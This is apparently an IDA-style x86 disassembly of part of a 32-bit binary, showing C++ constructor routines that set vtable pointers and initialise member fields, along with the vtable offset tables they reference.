loc_69B15AF8:				; CODE XREF: sub_69B6A147+Dj
		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B6A0FC
		mov	dword ptr [esi], offset	off_69B15B1C
		mov	dword ptr [esi+4], offset off_69B280B8
		and	dword ptr [esi+14h], 0
		mov	eax, esi
		pop	esi
		retn	4
; END OF FUNCTION CHUNK	FOR sub_69B6A147
; ---------------------------------------------------------------------------
		align 4
off_69B15B1C	dd offset sub_69B45BAF	; DATA XREF: sub_69B6A147-54643o
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B6A15E
		dd offset sub_69B6A1FC
		dd offset sub_69B6A2A4
		dd offset sub_69B6A34C
		dd offset sub_69B6A404
		dd offset sub_69B6A4A4
		dd offset sub_69B6A53C
		dd offset sub_69B6A5E4
		dd offset sub_69B69FED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B6A9B8


loc_69B15B4C:				; CODE XREF: sub_69B6A9B8+Dj
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B65445
		push	[esp+8+arg_0]
		lea	eax, [esi+14h]
		mov	dword ptr [esi], offset	off_69B15BF0
		mov	dword ptr [esi+8], offset off_69B15B90
		lea	edi, [esi+10h]
		and	dword ptr [edi], 0
		and	dword ptr [eax], 0
		push	eax
		call	sub_69B17320
		push	[esp+8+arg_4]
		push	edi
		call	sub_69B17320
		pop	edi
		mov	eax, esi
		pop	esi
		retn	8
; END OF FUNCTION CHUNK	FOR sub_69B6A9B8
; ---------------------------------------------------------------------------
		align 10h
off_69B15B90	dd offset sub_69B65C47	; DATA XREF: sub_69B6A9B8-54E56o
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B69DDC
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B6A7CC
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B65480
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B6A9B0
		dd offset sub_69B698CB
		dd offset sub_69B6860C
		dd offset sub_69B6C7A5
		dd offset sub_69B6860C
		dd offset sub_69B6C7E4
		dd offset sub_69B6A7B0
		dd offset sub_69B6A8EF
		dd offset sub_69B6A8E7
		dd offset sub_69B6A944
		dd offset sub_69B6C809
off_69B15BF0	dd offset sub_69B6547B	; DATA XREF: sub_69B6A9B8-54E5Co
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B69E1B
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B6A7A0
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B6C84F
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B6A7D1
		dd offset sub_69B6860C
		dd offset nullsub_3

; =============== S U B	R O U T	I N E =======================================



sub_69B15C30	proc near		; CODE XREF: sub_69B6C788+Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B65445
		push	[esp+0Ch+arg_0]
		mov	eax, [esp+10h+arg_4]
		mov	dword ptr [esi], offset	off_69B15CE8
		mov	dword ptr [esi+8], offset off_69B15C88
		lea	ebx, [esi+14h]
		and	dword ptr [ebx], 0
		lea	edi, [esi+18h]
		and	dword ptr [edi], 0
		push	edi
		mov	[esi+10h], eax
		call	sub_69B17320
		mov	edi, [edi]
		test	edi, edi
		jz	short loc_69B15C74
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+44h]
		push	eax
		jmp	short loc_69B15C76
; ---------------------------------------------------------------------------


loc_69B15C74:				; CODE XREF: sub_69B15C30+38j
		push	0


loc_69B15C76:				; CODE XREF: sub_69B15C30+42j
		push	ebx
		call	sub_69B17320
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	8
sub_69B15C30	endp

; ---------------------------------------------------------------------------
		align 8
off_69B15C88	dd offset sub_69B65C47	; DATA XREF: sub_69B15C30+18o
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B6C1E9
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset loc_69B6C1F1
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B65480
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset loc_69B6C748
		dd offset sub_69B698CB
		dd offset sub_69B6C1DE
		dd offset sub_69B6C7A5
		dd offset sub_69B6860C
		dd offset sub_69B6C7E4
		dd offset sub_69B6C1B8
		dd offset loc_69B6C217
		dd offset loc_69B6C27C
		dd offset sub_69B6C906
		dd offset sub_69B6C809
off_69B15CE8	dd offset sub_69B6547B	; DATA XREF: sub_69B15C30+12o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset loc_69B6C750
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B6C1A8
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B6C84F
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset loc_69B6C1F6
		dd offset sub_69B667EC
		dd offset loc_69B6C5AC

; =============== S U B	R O U T	I N E =======================================



sub_69B15D28	proc near		; CODE XREF: sub_69B71074+85p
		push	esi
		mov	esi, ecx
		call	sub_69B19118
		mov	dword ptr [esi], offset	off_69B15D40
		mov	eax, esi
		pop	esi
		retn
sub_69B15D28	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B15D40	dd offset sub_69B2D67E	; DATA XREF: sub_69B15D28+8o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B18284
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset nullsub_5
		dd offset sub_69B3CAC8
		dd offset sub_69B708A5

; =============== S U B	R O U T	I N E =======================================



sub_69B15D80	proc near		; CODE XREF: sub_69B70C4B+11p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B70956
		mov	dword ptr [esi], offset	off_69B15FF4
		mov	dword ptr [esi+4], offset off_69B15FF0
		mov	dword ptr [esi+10h], offset off_69B15FE0
		mov	dword ptr [esi+14h], offset off_69B15FC4
		mov	dword ptr [esi+18h], offset off_69B15FAC
		lea	edi, [esi+1Ch]
		and	dword ptr [edi], 0
		and	dword ptr [esi+20h], 0
		lea	ebx, [esi+24h]
		mov	ecx, ebx
		call	sub_69B73FD6
		push	[esp+0Ch+arg_0]
		mov	dword ptr [ebx], offset	off_69B15DD8
		push	edi
		call	sub_69B2DEB2
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_69B15D80	endp

; ---------------------------------------------------------------------------
off_69B15DD8	dd offset loc_69B73862	; DATA XREF: sub_69B15D80+44o
		dd offset sub_69B707DC
		dd offset sub_69B707F1
		dd offset sub_69B84A3B
		dd offset sub_69B84A4B
		dd offset sub_69B365EB
		dd offset sub_69B84A23
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B738F1
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A2B
		dd offset sub_69B365F3
		dd offset sub_69B365F3
		dd offset sub_69B84A43
		dd offset sub_69B84A43
		dd offset sub_69B84A43
		dd offset sub_69B84A43
		dd offset sub_69B84A43
		dd offset sub_69B84A43
		dd offset sub_69B84A33
		dd offset sub_69B84A43
		dd offset sub_69B84A43
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B84A4B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A4B
		dd offset sub_69B70806
off_69B15FAC	dd offset loc_69B70994	; DATA XREF: sub_69B15D80+25o
		dd offset loc_69B709C6
		dd offset loc_69B709D0
		dd offset sub_69B73F00
		dd offset sub_69B365EB
		dd offset sub_69B365EB
off_69B15FC4	dd offset loc_69B7098A	; DATA XREF: sub_69B15D80+1Eo
		dd offset loc_69B709B2
		dd offset loc_69B709BC
		dd offset sub_69B365E3
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B73829
off_69B15FE0	dd offset loc_69B70980	; DATA XREF: sub_69B15D80+17o
		dd offset sub_69B7099E
		dd offset sub_69B709A8
		dd offset loc_69B73CE5
off_69B15FF0	dd offset sub_69B70C6E	; DATA XREF: sub_69B15D80+10o
off_69B15FF4	dd offset sub_69B739EC	; DATA XREF: sub_69B15D80+Ao
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B73818
		dd offset sub_69B73929
		dd offset sub_69B84A3B
		dd offset sub_69B82AF4
		dd offset sub_69B55F23
		dd offset sub_69B73A84
		dd offset sub_69B8CB95
		dd offset sub_69B8CB95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B71AFF


loc_69B16020:				; CODE XREF: sub_69B71AFF+Dj
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B18654
		push	[esp+8+arg_0]
		xor	ecx, ecx
		mov	dword ptr [esi], offset	off_69B16060
		lea	edi, [esi+0Ch]
		mov	[edi], ecx
		mov	[esi+10h], ecx
		lea	eax, [esi+20h]
		mov	[esi+14h], ecx
		mov	[esi+18h], ecx
		push	eax
		mov	[eax], ecx
		call	sub_69B17320
		push	[esp+8+arg_4]
		push	edi
		call	sub_69B2DEB2
		pop	edi
		mov	eax, esi
		pop	esi
		retn	8
; END OF FUNCTION CHUNK	FOR sub_69B71AFF
; ---------------------------------------------------------------------------
		align 10h
off_69B16060	dd offset sub_69B2D67E	; DATA XREF: sub_69B71AFF-5BAD0o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B71AAC
		dd offset sub_69B1B57D
		dd offset sub_69B1BF60
		dd offset sub_69B186A8
		dd offset sub_69B2D6C8
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B71719

; =============== S U B	R O U T	I N E =======================================



sub_69B16098	proc near		; CODE XREF: sub_69B7372C+Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	ebx
		push	ebx
		push	ebx
		mov	esi, ecx
		call	sub_69B724DF
		lea	edi, [esi+2Ch]
		mov	ecx, edi
		call	sub_69B1818F
		push	[esp+0Ch+arg_0]
		mov	dword ptr [esi], offset	off_69B16138
		mov	dword ptr [edi], offset	off_69B160F0
		lea	eax, [esi+30h]
		mov	[eax], ebx
		mov	[esi+34h], ebx
		mov	[esi+40h], ebx
		push	eax
		mov	[esi+48h], ebx
		call	sub_69B17320
		mov	eax, [esp+0Ch+arg_4]
		or	dword ptr [esi+38h], 0FFFFFFFFh
		mov	[esi+44h], eax
		mov	eax, [esp+0Ch+arg_8]
		mov	[esi+3Ch], eax
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	0Ch
sub_69B16098	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B160F0	dd offset loc_69B73466	; DATA XREF: sub_69B16098+23o
		dd offset loc_69B73470
		dd offset loc_69B7347A
		dd offset loc_69B73484
		dd offset sub_69B3F4E7
		dd offset sub_69B3F4EF
		dd offset sub_69B3F4F7
		dd offset sub_69B6860C
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B736CA
		dd offset sub_69B80B30
		dd offset sub_69B7348C
		dd offset sub_69B73439
		dd offset sub_69B73462
off_69B16138	dd offset sub_69B6547B	; DATA XREF: sub_69B16098+1Do
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B736D2
		dd offset sub_69B1B57D
		dd offset sub_69B1BF60
		dd offset sub_69B186A8
		dd offset sub_69B72310
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B7254A
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B73502
		dd offset sub_69B73395
		dd offset sub_69B72DBF
		dd offset sub_69B59D1C
		dd offset sub_69B7235C
		dd offset sub_69B6860C
		dd offset sub_69B72CC3
		dd offset nullsub_3
		dd offset sub_69B70398
		dd offset sub_69B72E2D
		dd offset sub_69B73539

; =============== S U B	R O U T	I N E =======================================



sub_69B16198	proc near		; CODE XREF: sub_69B7432D+Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		call	sub_69B19118
		xor	ecx, ecx
		mov	dword ptr [ebx], offset	off_69B161EC
		mov	[ebx+8], ecx
		lea	eax, [ebx+14h]
		mov	[ebx+0Ch], ecx
		push	eax
		push	[esp+10h+arg_0]
		mov	[ebx+10h], ecx
		mov	[eax], ecx
		mov	[ebx+18h], ecx
		call	sub_69B70C4B
		mov	esi, [esp+0Ch+arg_4]
		push	[esp+0Ch+arg_0]
		lea	edi, [ebx+1Ch]
		movsd
		movsd
		movsd
		lea	eax, [ebx+18h]
		push	eax
		movsd
		call	sub_69B2DEB2
		mov	ecx, ebx
		call	sub_69B740BF
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn	8
sub_69B16198	endp

; ---------------------------------------------------------------------------
off_69B161EC	dd offset sub_69B2D67E	; DATA XREF: sub_69B16198+Co
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B742DA
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset nullsub_5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B752DA


loc_69B16224:				; CODE XREF: sub_69B752DA+Dj
		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B72FBE
		mov	dword ptr [esi], offset	off_69B16240
		mov	eax, esi
		pop	esi
		retn	4
; END OF FUNCTION CHUNK	FOR sub_69B752DA
; ---------------------------------------------------------------------------
		align 10h
off_69B16240	dd offset sub_69B2D67E	; DATA XREF: sub_69B752DA-5F0AAo
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B18284
		dd offset sub_69B1B57D
		dd offset sub_69B1BF60
		dd offset sub_69B186A8
		dd offset sub_69B72FB8
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B72FE6
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B72FDD
		dd offset nullsub_3
		dd offset sub_69B7521B
		dd offset sub_69B59D1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B755D6


loc_69B16284:				; CODE XREF: sub_69B755D6+Dj
		push	esi
		push	0
		push	[esp+8+arg_0]
		mov	esi, ecx
		call	sub_69B70112
		mov	dword ptr [esi], offset	off_69B162A0
		mov	eax, esi
		pop	esi
		retn	4
; END OF FUNCTION CHUNK	FOR sub_69B755D6
; ---------------------------------------------------------------------------
		align 10h
off_69B162A0	dd offset sub_69B2D67E	; DATA XREF: sub_69B755D6-5F344o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B7564C
		dd offset sub_69B1B57D
		dd offset sub_69B1BF60
		dd offset sub_69B186A8
		dd offset sub_69B70041
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B7013A
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B756D0
		dd offset sub_69B755ED
		dd offset sub_69B701AA
		dd offset sub_69B700EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B75733


loc_69B162E4:				; CODE XREF: sub_69B75733+Dj
		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B72FBE
		mov	dword ptr [esi], offset	off_69B16300
		and	dword ptr [esi+14h], 0
		mov	eax, esi
		pop	esi
		retn	4
; END OF FUNCTION CHUNK	FOR sub_69B75733
; ---------------------------------------------------------------------------
off_69B16300	dd offset sub_69B2D67E	; DATA XREF: sub_69B75733-5F443o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B75506
		dd offset sub_69B1B57D
		dd offset sub_69B1BF60
		dd offset sub_69B186A8
		dd offset sub_69B72FB8
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B72FE6
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B756D0
		dd offset sub_69B75667
		dd offset sub_69B756E6
		dd offset sub_69B59D1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B75828


loc_69B16344:				; CODE XREF: sub_69B75828+Dj
		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B72FBE
		mov	dword ptr [esi], offset	off_69B16360
		mov	eax, esi
		pop	esi
		retn	4
; END OF FUNCTION CHUNK	FOR sub_69B75828
; ---------------------------------------------------------------------------
		align 10h
off_69B16360	dd offset sub_69B2D67E	; DATA XREF: sub_69B75828-5F4D8o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B18284
		dd offset sub_69B1B57D
		dd offset sub_69B1BF60
		dd offset sub_69B186A8
		dd offset sub_69B72FB8
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B72FE6
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B72FDD
		dd offset sub_69B7577A
		dd offset nullsub_3
		dd offset sub_69B59D1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B75912


loc_69B163A4:				; CODE XREF: sub_69B75912+Dj
		push	esi
		push	edi
		push	0
		push	[esp+0Ch+arg_0]
		mov	esi, ecx
		push	0
		call	sub_69B724DF
		push	[esp+8+arg_0]
		mov	dword ptr [esi], offset	off_69B163E0
		and	dword ptr [esi+2Ch], 0
		lea	edi, [esi+30h]
		and	dword ptr [edi], 0
		call	sub_69B75828
		push	eax
		push	edi
		call	sub_69B17320
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
; END OF FUNCTION CHUNK	FOR sub_69B75912
; ---------------------------------------------------------------------------
		align 10h
off_69B163E0	dd offset sub_69B2D67E	; DATA XREF: sub_69B75912-5F559o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B758F7
		dd offset sub_69B1B57D
		dd offset sub_69B1BF60
		dd offset sub_69B186A8
		dd offset sub_69B72310
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B7254A
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B74FB2
		dd offset sub_69B75929
		dd offset sub_69B758AF
		dd offset sub_69B59D1C
		dd offset sub_69B757FD
		dd offset sub_69B6860C
		dd offset sub_69B72CC3
		dd offset nullsub_3
		dd offset sub_69B70398
		dd offset sub_69B72E2D
		dd offset nullsub_3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B7598A


loc_69B16440:				; CODE XREF: sub_69B7598A+Dj
		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B72FBE
		mov	dword ptr [esi], offset	off_69B16460
		and	dword ptr [esi+14h], 0
		mov	eax, esi
		pop	esi
		retn	4
; END OF FUNCTION CHUNK	FOR sub_69B7598A
; ---------------------------------------------------------------------------
		align 10h
off_69B16460	dd offset sub_69B2D67E	; DATA XREF: sub_69B7598A-5F53Eo
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B75506
		dd offset sub_69B1B57D
		dd offset sub_69B1BF60
		dd offset sub_69B186A8
		dd offset sub_69B72FB8
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B72FE6
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B756D0
		dd offset sub_69B7596A
		dd offset sub_69B759A1
		dd offset sub_69B59D1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B75DBB


loc_69B164A4:				; CODE XREF: sub_69B75DBB+Dj
		push	esi
		push	edi
		xor	edi, edi
		push	edi
		push	[esp+0Ch+arg_4]
		mov	esi, ecx
		push	[esp+10h+arg_0]
		call	sub_69B724DF
		mov	eax, [esp+8+arg_8]
		mov	dword ptr [esi], offset	off_69B164D8
		mov	[esi+2Ch], edi
		mov	[esi+30h], edi
		mov	[esi+34h], edi
		mov	[esi+38h], edi
		mov	[esi+3Ch], eax
		pop	edi
		mov	eax, esi
		pop	esi
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_69B75DBB
; ---------------------------------------------------------------------------
off_69B164D8	dd offset sub_69B2D67E	; DATA XREF: sub_69B75DBB-5F8FFo
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B75D71
		dd offset sub_69B1B57D
		dd offset sub_69B1BF60
		dd offset sub_69B186A8
		dd offset sub_69B72310
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B7254A
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B75B2F
		dd offset sub_69B75DD2
		dd offset sub_69B72DBF
		dd offset sub_69B59D1C
		dd offset sub_69B75B50
		dd offset sub_69B6860C
		dd offset sub_69B72CC3
		dd offset sub_69B75C38
		dd offset sub_69B70398
		dd offset sub_69B72E2D
		dd offset nullsub_3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B75F5E


loc_69B16538:				; CODE XREF: sub_69B75F5E+Dj
		push	esi
		push	0
		push	[esp+8+arg_4]
		mov	esi, ecx
		push	[esp+0Ch+arg_0]
		call	sub_69B724DF
		movzx	eax, [esp+4+arg_8]
		mov	dword ptr [esi], offset	off_69B16578
		and	dword ptr [esi+2Ch], 0
		and	dword ptr [esi+30h], 0
		and	dword ptr [esi+34h], 0
		shl	eax, 1
		xor	eax, [esi+38h]
		and	eax, 2
		xor	[esi+38h], eax
		mov	eax, esi
		pop	esi
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_69B75F5E
; ---------------------------------------------------------------------------
		align 8
off_69B16578	dd offset sub_69B2D67E	; DATA XREF: sub_69B75F5E-5FA0Fo
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B76041
		dd offset sub_69B1B57D
		dd offset sub_69B1BF60
		dd offset sub_69B186A8
		dd offset sub_69B72310
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B7254A
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B75F75
		dd offset sub_69B75E84
		dd offset sub_69B72DBF
		dd offset sub_69B59D1C
		dd offset sub_69B7235C
		dd offset sub_69B6860C
		dd offset sub_69B72CC3
		dd offset sub_69B75FA1
		dd offset sub_69B70398
		dd offset sub_69B72E2D
		dd offset nullsub_3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B76419


loc_69B165D8:				; CODE XREF: sub_69B76419+Dj
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B19118
		lea	edi, [esi+8]
		mov	ecx, edi
		call	sub_69B1818F
		mov	al, [esp+8+arg_0]
		mov	dword ptr [esi], offset	off_69B18240
		mov	dword ptr [edi], offset	off_69B16620
		and	dword ptr [esi+0Ch], 0
		test	al, al
		mov	[esi+10h], al
		jnz	short loc_69B16610
		or	dword ptr [esi+14h], 0FFFFFFFFh
		mov	byte ptr [esi+12h], 1
		jmp	short loc_69B16614
; ---------------------------------------------------------------------------


loc_69B16610:				; CODE XREF: sub_69B76419-5FE15j
		mov	byte ptr [esi+11h], 1


loc_69B16614:				; CODE XREF: sub_69B76419-5FE0Bj
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
; END OF FUNCTION CHUNK	FOR sub_69B76419
; ---------------------------------------------------------------------------
		align 10h
off_69B16620	dd offset sub_69B65C47	; DATA XREF: sub_69B76419-5FE24o
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B7624E
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B6860C
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B62A4E
		dd offset loc_69B76256
		dd offset loc_69B7625C
		dd offset loc_69B762B5
		dd offset sub_69B76082
		dd offset sub_69B760B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B76C95


loc_69B1666C:				; CODE XREF: sub_69B76C95+Dj
		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B768F4
		mov	dword ptr [esi], offset	off_69B16688
		and	dword ptr [esi+14h], 0
		mov	eax, esi
		pop	esi
		retn	4
; END OF FUNCTION CHUNK	FOR sub_69B76C95
; ---------------------------------------------------------------------------
off_69B16688	dd offset sub_69B2D67E	; DATA XREF: sub_69B76C95-6061Do
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B76AD5
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B88DCD
		dd offset nullsub_5
		dd offset sub_69B76927

; =============== S U B	R O U T	I N E =======================================



sub_69B166C0	proc near		; CODE XREF: sub_69B76EFC+Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B19118
		lea	edi, [esi+8]
		mov	ecx, edi
		call	sub_69B1818F
		push	[esp+0Ch+arg_0]
		mov	dword ptr [edi], offset	off_69B16740
		xor	eax, eax
		mov	dword ptr [esi], offset	off_69B16794
		lea	edi, [esi+0Ch]
		mov	[edi], eax
		mov	[esi+10h], eax
		lea	ebx, [esi+14h]
		mov	[ebx], eax
		push	edi
		mov	[esi+1Ch], eax
		call	sub_69B17320
		mov	eax, [esp+0Ch+arg_4]
		push	800h
		mov	[esi+20h], eax
		call	sub_69B88D8C
		push	eax
		push	ebx
		call	sub_69B17320
		mov	edi, [edi]
		push	1
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	11h
		mov	ecx, edi
		call	sub_69B3D2F2
		push	eax
		mov	[esi+18h], eax
		lea	eax, [esi+1Ch]
		push	eax
		call	sub_69B17320
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	8
sub_69B166C0	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B16740	dd offset sub_69B65C47	; DATA XREF: sub_69B166C0+18o
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B76CE1
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B6860C
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
